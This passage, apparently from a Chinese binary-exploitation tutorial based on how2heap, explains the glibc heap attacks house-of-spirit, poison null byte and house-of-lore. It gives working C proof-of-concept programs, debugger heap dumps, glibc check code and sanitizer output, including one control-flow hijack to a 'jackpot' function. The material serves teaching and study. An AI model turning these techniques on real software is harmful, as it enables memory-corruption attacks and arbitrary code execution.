位和 NON_MAIN_ARENA
位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ
(即大于16),小于 av->system_mem
(即小于128kb),才能绕过对 next chunk 大小的检查。
libc-2.23 中这些检查代码如下:
+void
+__libc_free (void *mem)
+{
+ mstate ar_ptr;
+ mchunkptr p; /* chunk corresponding to mem */
+
+ [...]
+ p = mem2chunk (mem);
+
+ if (chunk_is_mmapped (p)) /* release mmapped memory. */
+ {
+ [...]
+ munmap_chunk (p);
+ return;
+ }
+
+ ar_ptr = arena_for_chunk (p); // 获得 chunk 所属 arena 的地址
+ _int_free (ar_ptr, p, 0); // 当 IS_MMAPPED 为零时调用
+}
+
+mem
就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:
/* conversion from malloc headers to user pointers, and back */
+
+#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
+#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
+
+当 NON_MAIN_ARENA
为零时返回 main arena:
/* find the heap and corresponding arena for a given ptr */
+
+#define heap_for_ptr(ptr) \
+ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
+#define arena_for_chunk(ptr) \
+ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
+
+这样,程序就顺利地进入了 _int_free
函数:
static void
+_int_free (mstate av, mchunkptr p, int have_lock)
+{
+ INTERNAL_SIZE_T size; /* its size */
+ mfastbinptr *fb; /* associated fastbin */
+
+ [...]
+ size = chunksize (p);
+
+ [...]
+ /*
+ If eligible, place chunk on a fastbin so it can be found
+ and used quickly in malloc.
+ */
+
+ if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
+
+#if TRIM_FASTBINS
+ /*
+ If TRIM_FASTBINS set, don't place chunks
+ bordering top into fastbins
+ */
+ && (chunk_at_offset(p, size) != av->top)
+#endif
+ ) {
+
+ if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
+ || __builtin_expect (chunksize (chunk_at_offset (p, size))
+ >= av->system_mem, 0))
+ {
+ [...]
+ errstr = "free(): invalid next size (fast)";
+ goto errout;
+ }
+
+ [...]
+ set_fastchunks(av);
+ unsigned int idx = fastbin_index(size);
+ fb = &fastbin (av, idx);
+
+ /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
+ mchunkptr old = *fb, old2;
+ [...]
+ do
+ {
+ [...]
+ p->fd = old2 = old;
+ }
+ while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
+
+其中下面的宏函数用于获得 next chunk:
+/* Treat space at ptr + offset as a chunk */
+#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
+
+然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 mem
。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk,然后将其释放并加入到 fastbin 中。
gef➤ x/gx &a
+0x7fffffffdca0: 0x00007fffffffdcc0
+gef➤ x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed]
+0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
+0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
+gef➤ heap bins fast
+[ Fastbins for arena 0x7ffff7dd1b20 ]
+Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)
+
+这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。
+gef➤ x/10gx &fake_chunks
+0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk
+0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000
+0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2
+0x7fffffffdce0: 0x4141414141414141 0x0000000000000000
+0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0
+gef➤ x/gx &b
+0x7fffffffdca8: 0x00007fffffffdcc0
+
+所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。
+该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。
+加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk:
+$ gcc -fsanitize=address -g house_of_spirit.c
+$ ./a.out
+We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
+The first one: 0x7fffa61d6c00
+The second one: 0x7fffa61d6c20
+Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
+Freeing the overwritten pointer.
+=================================================================
+==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
+ #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
+ #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
+ #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)
+
+house-of-spirit 在 libc-2.26 下的利用可以查看章节 4.14。
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+#include <malloc.h>
+
+int main() {
+ uint8_t *a, *b, *c, *b1, *b2, *d;
+
+ a = (uint8_t*) malloc(0x10);
+ int real_a_size = malloc_usable_size(a);
+ fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
+ fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
+
+ b = (uint8_t*) malloc(0x100);
+ c = (uint8_t*) malloc(0x80);
+ fprintf(stderr, "b: %p\n", b);
+ fprintf(stderr, "c: %p\n", c);
+
+ uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
+ *(size_t*)(b+0xf0) = 0x100;
+ fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
+
+ // deal with tcache
+ // int *k[10], i;
+ // for (i = 0; i < 7; i++) {
+ // k[i] = malloc(0x100);
+ // }
+ // for (i = 0; i < 7; i++) {
+ // free(k[i]);
+ // }
+ free(b);
+ uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
+ fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
+
+ a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
+ fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
+ fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
+
+ fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
+ b1 = malloc(0x80);
+ memset(b1, 'A', 0x80);
+ fprintf(stderr, "We malloc 'b1': %p\n", b1);
+ fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
+ fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
+
+ b2 = malloc(0x40);
+ memset(b2, 'A', 0x40);
+ fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
+
+ // deal with tcache
+ // for (i = 0; i < 7; i++) {
+ // k[i] = malloc(0x80);
+ // }
+ // for (i = 0; i < 7; i++) {
+ // free(k[i]);
+ // }
+ free(b1);
+ free(c);
+ fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
+
+ d = malloc(0x110);
+ fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
+
+ fprintf(stderr, "b2 content:%s\n", b2);
+ memset(d, 'B', 0xb0);
+ fprintf(stderr, "New b2 content:%s\n", b2);
+}
+$ gcc -g poison_null_byte.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0xabb010
+'real' size of 'a': 0x18
+b: 0xabb030
+c: 0xabb140
+b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
+
+After free(b), c.prev_size: 0x110
+We overflow 'a' with a single null byte into the metadata of 'b'
+b.size: 0x100
+
+Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
+We malloc 'b1': 0xabb030
+c.prev_size: 0x110
+fake c.prev_size: 0x70
+
+We malloc 'b2', our 'victim' chunk: 0xabb0c0
+Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
+Finally, we allocate 'd', overlapping 'b2': 0xabb030
+
+b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
+对于单字节溢出的利用有下面几种:
+ 0x100 0x100 0x80
+|-------|-------|-------|
+| A | B | C | 初始状态
+|-------|-------|-------|
+| A | B | C | 释放 B
+|-------|-------|-------|
+| A | B | C | 溢出 B 的 size 为 0x180
+|-------|-------|-------|
+| A | B | C | malloc(0x180-8)
+|-------|-------|-------| C 块被覆盖
+ |<--实际得到的块->|
+
+ 0x100 0x100 0x80
+|-------|-------|-------|
+| A | B | C | 初始状态
+|-------|-------|-------|
+| A | B | C | 溢出 B 的 size 为 0x180
+|-------|-------|-------|
+| A | B | C | 释放 B
+|-------|-------|-------|
+| A | B | C | malloc(0x180-8)
+|-------|-------|-------| C 块被覆盖
+ |<--实际得到的块->|
+
+ 0x100 0x210 0x80
+|-------|---------------|-------|
+| A | B | C | 初始状态
+|-------|---------------|-------|
+| A | B | C | 释放 B
+|-------|---------------|-------|
+| A | B | C | 溢出 B 的 size 为 0x200
+|-------|---------------|-------| 之后的 malloc 操作没有更新 C 的 prev_size
+ 0x100 0x80
+|-------|------|-----|--|-------|
+| A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8)
+|-------|------|-----|--|-------|
+| A | B1 | B2 | | C | 释放 B1
+|-------|------|-----|--|-------|
+| A | B1 | B2 | | C | 释放 C,C 将与 B1 合并
+|-------|------|-----|--|-------|
+| A | B1 | B2 | | C | malloc(0x180-8)
+|-------|------|-----|--|-------| B2 将被覆盖
+ |<实际得到的块>|
+
+ 0x100 0x100 0x101
+|-------|-------|-------|
+| A | B | C | 初始状态
+|-------|-------|-------|
+| A | B | C | 释放 A
+|-------|-------|-------|
+| A | B | C | 溢出 B,覆盖 C 块的 size 为 0x200,并使其 prev_size 为 0x200
+|-------|-------|-------|
+| A | B | C | 释放 C
+|-------|-------|-------|
+| A | B | C | C 将与 A 合并
+|-------|-------|-------| B 块被重叠
+|<-----实际得到的块------>|
+
+首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。
+首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 malloc_usable_size
如下:
/*
+ ------------------------- malloc_usable_size -------------------------
+ */
+static size_t
+musable (void *mem)
+{
+ mchunkptr p;
+ if (mem != 0)
+ {
+ p = mem2chunk (mem);
+
+ [...]
+ if (chunk_is_mmapped (p))
+ return chunksize (p) - 2 * SIZE_SZ;
+ else if (inuse (p))
+ return chunksize (p) - SIZE_SZ;
+ }
+ return 0;
+}
+/* check for mmap()'ed chunk */
+#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
+/* extract p's inuse bit */
+#define inuse(p) \
+ ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
+/* Get size, ignoring use bits */
+#define chunksize(p) ((p)->size & ~(SIZE_BITS))
+
+所以 real_a_size = chunksize(a) - 0x8 == 0x18
。另外需要注意的是程序是通过 next chunk 的 PREV_INUSE
标志来判断某 chunk 是否被使用的。
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 0x100 == (0x111 & 0xff00)
,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下:
gef➤ x/42gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x0000000000000000 0x0000000000000000
+0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]
+0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603040: 0x0000000000000000 0x0000000000000000
+0x603050: 0x0000000000000000 0x0000000000000000
+0x603060: 0x0000000000000000 0x0000000000000000
+0x603070: 0x0000000000000000 0x0000000000000000
+0x603080: 0x0000000000000000 0x0000000000000000
+0x603090: 0x0000000000000000 0x0000000000000000
+0x6030a0: 0x0000000000000000 0x0000000000000000
+0x6030b0: 0x0000000000000000 0x0000000000000000
+0x6030c0: 0x0000000000000000 0x0000000000000000
+0x6030d0: 0x0000000000000000 0x0000000000000000
+0x6030e0: 0x0000000000000000 0x0000000000000000
+0x6030f0: 0x0000000000000000 0x0000000000000000
+0x603100: 0x0000000000000000 0x0000000000000000
+0x603110: 0x0000000000000000 0x0000000000000000
+0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
+0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
+0x603140: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
+ → Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
+
+最关键的一步,通过溢出漏洞覆写 chunk b 的数据:
+gef➤ x/42gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x0000000000000000 0x0000000000000000
+0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]
+0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603040: 0x0000000000000000 0x0000000000000000
+0x603050: 0x0000000000000000 0x0000000000000000
+0x603060: 0x0000000000000000 0x0000000000000000
+0x603070: 0x0000000000000000 0x0000000000000000
+0x603080: 0x0000000000000000 0x0000000000000000
+0x603090: 0x0000000000000000 0x0000000000000000
+0x6030a0: 0x0000000000000000 0x0000000000000000
+0x6030b0: 0x0000000000000000 0x0000000000000000
+0x6030c0: 0x0000000000000000 0x0000000000000000
+0x6030d0: 0x0000000000000000 0x0000000000000000
+0x6030e0: 0x0000000000000000 0x0000000000000000
+0x6030f0: 0x0000000000000000 0x0000000000000000
+0x603100: 0x0000000000000000 0x0000000000000000
+0x603110: 0x0000000000000000 0x0000000000000000
+0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
+0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
+0x603140: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
+ → Chunk(addr=0x603030, size=0x100, flags=)
+
+这时,根据我们上一篇文字中讲到的计算方法:
+chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。
+接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户:
+gef➤ x/42gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x0000000000000000 0x0000000000000000
+0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b
+0x603030: 0x4141414141414141 0x4141414141414141
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x4141414141414141
+0x603060: 0x4141414141414141 0x4141414141414141
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x4141414141414141 0x4141414141414141
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk
+0x6030c0: 0x4141414141414141 0x4141414141414141
+0x6030d0: 0x4141414141414141 0x4141414141414141
+0x6030e0: 0x4141414141414141 0x4141414141414141
+0x6030f0: 0x4141414141414141 0x4141414141414141
+0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
+0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size
+0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
+0x603140: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
+ → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
+接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。
+gef➤ x/42gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x0000000000000000 0x0000000000000000
+0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk
+0x603030: 0x0000000000603100 0x00007ffff7dd1b78
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x4141414141414141
+0x603060: 0x4141414141414141 0x4141414141414141
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x4141414141414141 0x4141414141414141
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk
+0x6030c0: 0x4141414141414141 0x4141414141414141
+0x6030d0: 0x4141414141414141 0x4141414141414141
+0x6030e0: 0x4141414141414141 0x4141414141414141
+0x6030f0: 0x4141414141414141 0x4141414141414141
+0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
+0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603120: 0x0000000000000020 0x0000000000000000
+0x603130: 0x0000000000000110 0x0000000000000090
+0x603140: 0x0000000000000000 0x0000000000000000
+gef➤ heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
+ → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:
+ /* consolidate backward */
+ if (!prev_inuse(p)) {
+ prevsize = p->prev_size;
+ size += prevsize;
+ p = chunk_at_offset(p, -((long) prevsize));
+ unlink(av, p, bck, fwd);
+ }
+
+ if (nextchunk != av->top) {
+ /*
+ Place the chunk in unsorted chunk list. Chunks are
+ not placed into regular bins until after they have
+ been given one chance to be used in malloc.
+ */
+ [...]
+ }
+
+ /*
+ If the chunk borders the current high end of memory,
+ consolidate into top
+ */
+
+ else {
+ size += nextsize;
+ set_head(p, size | PREV_INUSE);
+ av->top = p;
+ check_chunk(av, p);
+ }
+
+接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。
+gef➤ x/42gx a-0x10
+0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
+0x603010: 0x0000000000000000 0x0000000000000000
+0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d
+0x603030: 0x4242424242424242 0x4242424242424242
+0x603040: 0x4242424242424242 0x4242424242424242
+0x603050: 0x4242424242424242 0x4242424242424242
+0x603060: 0x4242424242424242 0x4242424242424242
+0x603070: 0x4242424242424242 0x4242424242424242
+0x603080: 0x4242424242424242 0x4242424242424242
+0x603090: 0x4242424242424242 0x4242424242424242
+0x6030a0: 0x4242424242424242 0x4242424242424242
+0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk
+0x6030c0: 0x4242424242424242 0x4242424242424242
+0x6030d0: 0x4242424242424242 0x4242424242424242
+0x6030e0: 0x4141414141414141 0x4141414141414141
+0x6030f0: 0x4141414141414141 0x4141414141414141
+0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins
+0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
+0x603120: 0x0000000000000020 0x0000000000000000
+0x603130: 0x0000000000000110 0x0000000000000090
+0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk
+gef➤ heap bins small
+[ Small Bins for arena 'main_arena' ]
+[+] small_bins[1]: fw=0x603100, bk=0x603100
+ → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
+
+还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。
+最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。
+heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。
+$ gcc -fsanitize=address -g poison_null_byte.c
+$ ./a.out
+We allocate 0x10 bytes for 'a': 0x60200000eff0
+'real' size of 'a': 0x10
+b: 0x611000009f00
+c: 0x60c00000bf80
+=================================================================
+==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
+READ of size 8 at 0x611000009ef8 thread T0
+ #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
+ #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+ #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
+
+0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
+allocated by thread T0 here:
+ #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
+ #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
+ #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+void jackpot(){ puts("Nice jump d00d"); exit(0); }
+
+int main() {
+ intptr_t *victim = malloc(0x80);
+ memset(victim, 'A', 0x80);
+ void *p5 = malloc(0x10);
+ memset(p5, 'A', 0x10);
+ intptr_t *victim_chunk = victim - 2;
+ fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);
+
+ intptr_t* stack_buffer_1[4] = {0};
+ intptr_t* stack_buffer_2[3] = {0};
+ stack_buffer_1[0] = 0;
+ stack_buffer_1[2] = victim_chunk;
+ stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
+ stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
+ fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
+ fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);
+
+ free((void*)victim);
+ fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
+ fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ void *p2 = malloc(0x100);
+ fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
+ fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
+ fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
+ fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
+
+ victim[1] = (intptr_t)stack_buffer_1;
+ fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
+
+ void *p3 = malloc(0x40);
+ char *p4 = malloc(0x80);
+ memset(p4, 'A', 0x10);
+ fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
+ fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);
+
+ intptr_t sc = (intptr_t)jackpot;
+ memcpy((p4+40), &sc, 8);
+}
+$ gcc -g house_of_lore.c
+$ ./a.out
+Allocated the victim (small) chunk: 0x1b2e010
+stack_buffer_1: 0x7ffe5c570350
+stack_buffer_2: 0x7ffe5c570330
+
+Freeing the victim chunk 0x1b2e010, it will be inserted in the unsorted bin
+victim->fd: 0x7f239d4c9b78
+victim->bk: 0x7f239d4c9b78
+
+Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x1b2e0c0
+The victim chunk 0x1b2e010 will be inserted in front of the SmallBin
+victim->fd: 0x7f239d4c9bf8
+victim->bk: 0x7f239d4c9bf8
+
+Now emulating a vulnerability that can overwrite the victim->bk pointer
+This last malloc should return a chunk at the position injected in bin->bk: 0x7ffe5c570360
+The fd pointer of stack_buffer_2 has changed: 0x7f239d4c9bf8
+
+Nice jump d00d
+
+在前面的技术中,我们已经知道怎样去伪造一个 fake chunk,接下来,我们要尝试伪造一条 small bins 链。
+首先创建两个 chunk,第一个是我们的 victim chunk,请确保它是一个 small chunk,第二个随意,只是为了确保在 free 时 victim chunk 不会被合并进 top chunk 里。然后,在栈上伪造两个 fake chunk,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:
+gef➤ x/26gx victim-2
+0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
+0x603010: 0x4141414141414141 0x4141414141414141
+0x603020: 0x4141414141414141 0x4141414141414141
+0x603030: 0x4141414141414141 0x4141414141414141
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x4141414141414141
+0x603060: 0x4141414141414141 0x4141414141414141
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x0000000000000000 0x0000000000000021 <-- chunk p5
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
+0x6030c0: 0x0000000000000000 0x0000000000000000
+gef➤ x/10gx &stack_buffer_2
+0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2
+0x7fffffffdc40: 0x00007fffffffdc50 0x0000000000400aed <-- fd->fake chunk 1
+0x7fffffffdc50: 0x0000000000000000 0x0000000000000000 <-- fake chunk 1
+0x7fffffffdc60: 0x0000000000603000 0x00007fffffffdc30 <-- fd->victim chunk, bk->fake chunk 2
+0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00
+
+molloc 中对于 small bin 链表的检查是这样的:
+ [...]
+
+ else
+ {
+ bck = victim->bk;
+ if (__glibc_unlikely (bck->fd != victim))
+ {
+ errstr = "malloc(): smallbin double linked list corrupted";
+ goto errout;
+ }
+ set_inuse_bit_at_offset (victim, nb);
+ bin->bk = bck;
+ bck->fd = bin;
+
+ [...]
+
+即检查 bin 中第二块的 bk 指针是否指向第一块,来发现对 small bins 的破坏。为了绕过这个检查,所以才需要同时伪造 bin 中的前 2 个 chunk。
+接下来释放掉 victim chunk,它会被放到 unsoted bin 中,且 fd/bk 均指向 unsorted bin 的头部:
+gef➤ x/26gx victim-2
+0x603000: 0x0000000000000000 0x0000000000000091 <-- victim chunk [be freed]
+0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
+0x603020: 0x4141414141414141 0x4141414141414141
+0x603030: 0x4141414141414141 0x4141414141414141
+0x603040: 0x4141414141414141 0x4141414141414141
+0x603050: 0x4141414141414141 0x4141414141414141
+0x603060: 0x4141414141414141 0x4141414141414141
+0x603070: 0x4141414141414141 0x4141414141414141
+0x603080: 0x4141414141414141 0x4141414141414141
+0x603090: 0x0000000000000090 0x0000000000000020 <-- chunk p5
+0x6030a0: 0x4141414141414141 0x4141414141414141
+0x6030b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
+0x6030c0: 0x0000000000000000 0x0000000000000000
